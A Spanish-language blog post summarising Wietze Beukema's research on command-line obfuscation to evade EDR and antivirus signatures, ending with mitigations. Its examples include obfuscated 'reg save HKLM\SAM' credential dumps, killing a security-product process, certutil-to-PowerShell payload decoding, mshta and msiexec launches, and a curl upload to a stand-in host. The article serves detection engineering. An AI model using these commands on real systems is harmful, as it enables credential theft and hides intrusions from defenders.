Cómo evadir detecciones con ofuscación en la línea de comandos

Muchas soluciones como los EDR (Endpoint Detection and Response) y los antivirus dependen de la detección de patrones específicos en la línea de comandos para identificar amenazas. ¿El problema? Los atacantes han aprendido a jugar con la sintaxis para esquivar estos controles, ejecutando comandos maliciosos sin levantar sospechas.

"Bypassing Detections with Command-Line Obfuscation" de Wietze Beukema es un interesante artículo donde se repasan algunas de las estrategias de ofuscación en la línea de comandos y cómo los atacantes las usan para evitar la detección.

¿Qué es la Ofuscación de la Línea de Comandos?

La ofuscación en la línea de comandos no es más que una forma creativa de escribir un comando sin alterar su ejecución, pero haciéndolo irreconocible para los sistemas de seguridad. A diferencia de la ofuscación en código fuente, donde se oculta la lógica, aquí se juega con caracteres especiales, alias, codificaciones y otros trucos para disfrazar los comandos.

Las soluciones de seguridad suelen trabajar con firmas estáticas: si detectan un comando sospechoso como powershell -enc <payload>, lo bloquean. Pero si el atacante lo reescribe de manera ingeniosa, la detección puede fallar por completo.

¿Por qué funciona?

  1. Engaña las reglas de detección basadas en patrones: Modificar la estructura del comando evita coincidencias con firmas conocidas.

  2. Aprovecha herramientas legítimas: cmd.exe, powershell.exe, mshta.exe y otros ejecutables confiables pueden ser usados para eludir restricciones.

  3. Facilita ataques "fileless": Ejecutar payloads directamente en memoria evita dejar rastros en el disco.

  4. Confunde a los analistas de seguridad: Un comando obfuscado puede parecer inofensivo a simple vista, obligando a un análisis más profundo para identificar su verdadero propósito.

Técnicas de Ofuscación de la Línea de Comandos

Bypass en Windows

1. Uso de Comillas y Caracteres de Escape

Los atacantes pueden dividir palabras clave utilizando comillas dobles ("), simples (') o incluso caracteres de escape como ^ para evitar la detección.

Ejemplo:

cmd /c "po""wers""hell.exe -enc <payload>"

A simple vista parece un comando roto, pero en realidad ejecuta powershell.exe sin problemas.

Otra variante:

p^o^w^e^r^s^h^e^l^l.exe -enc <payload>

Aquí, el carácter ^ de Windows separa cada letra, evitando detecciones basadas en cadenas de texto completas.

2. Uso de Variables de Entorno

En lugar de escribir el nombre del ejecutable directamente, los atacantes pueden almacenarlo en una variable y llamarlo dinámicamente.

Ejemplo:

set PS=powershell

%PS% -enc <payload>

Las soluciones de seguridad que buscan coincidencias exactas con "powershell" pueden fallar en identificar esta ejecución.

3. Redirecciones y Pipes

Los atacantes pueden dividir comandos en múltiples segmentos usando |, ^, > y otras técnicas para ocultar la intención real del comando.

Ejemplo:

echo YXBzIHNjcmlwdA== | certutil -decode - | powershell -

Este método emplea certutil para decodificar un payload en base64 y ejecutarlo con PowerShell, reduciendo la visibilidad del ataque.

4. Técnicas Avanzadas de Ofuscación

  • Sustitución de caracteres en opciones:

    taskkill -f -im ccSvcHst.exe

    En lugar de taskkill /f /im ccSvcHst.exe, evita detecciones que buscan el slash /.

  • Sustitución de caracteres en nombres de comando:

    reg eˣport HKLM\SAM out.reg

    Usa un carácter especial en "export" para romper firmas.

  • Inserción de caracteres invisibles:

    reg sa⚽ve HKLM\SAM out.reg
  • Uso de comillas para fragmentar palabras clave:

    reg "s"a"v"e H"KL"M\S"AM" out.reg
  • Eliminación de caracteres clave:

    powershell -en ...

    En lugar de -encodedcommand, que suele ser detectado.

  • Transformación de valores:

    ping 2130706433

    Equivalente a ping 127.0.0.1.

  • Uso de rutas relativas:

    mshta c:\windows\system32\..\temp\evil.hta
  • Manipulación de URLs:

    msiexec https:\\example.org\install.msi

Bypass en Linux y macOS

1. Modificación de Opciones

  • Eliminación de caracteres en opciones:

    curl --upload-f file.txt example.org

    En lugar de --upload-file.

  • Reordenamiento y combinación de opciones:

    bash -lc ...

    En lugar de bash -c ... o bash -c -l ....

  • Inserción de separadores en opciones:

    wget -O - example.org

    En lugar de wget -O-.

  • Eliminación de separadores:

    osascript -e"log 'hi'"

    En lugar de osascript -e "log 'hi'".

2. Transformación de Valores

  • Manipulación de direcciones IP:

    wget https://0177.0.0.0x1

    Equivalente a wget https://127.0.0.1.

Bonus: ArgFuscator

ArgFuscator, creada por Wietze Beukema, permite generar variantes obfuscadas de un comando para probar cómo reaccionan los motores de detección.

Características de ArgFuscator:

  • Genera múltiples formatos de comandos ofuscados.

  • Facilita la evaluación de detecciones en motores de seguridad.

  • Permite pruebas y análisis de técnicas de evasión en entornos controlados.

Impacto en la Seguridad y Mitigaciones

Está demostrado que las detecciones basadas en firmas son insuficientes contra la ofuscación de la línea de comandos. Sin embargo, hay formas de combatir esta técnica:

  1. Detección basada en comportamiento: En lugar de buscar palabras clave específicas, analizar patrones de actividad sospechosa en el sistema.

  2. Normalización de comandos: Convertir la línea de comandos a su forma más simple eliminando caracteres de escape, alias y codificaciones antes de analizarla.

  3. Monitorización avanzada: Herramientas como Sysmon pueden registrar eventos detallados de ejecución de procesos.

  4. Uso de inteligencia de amenazas: Bases de datos de IoCs (Indicators of Compromise) pueden ayudar a identificar patrones de evasión comunes.

  5. Capacitación continua: Enseñar a los equipos de seguridad a reconocer estas técnicas y responder eficazmente ante ataques avanzados.

Comentarios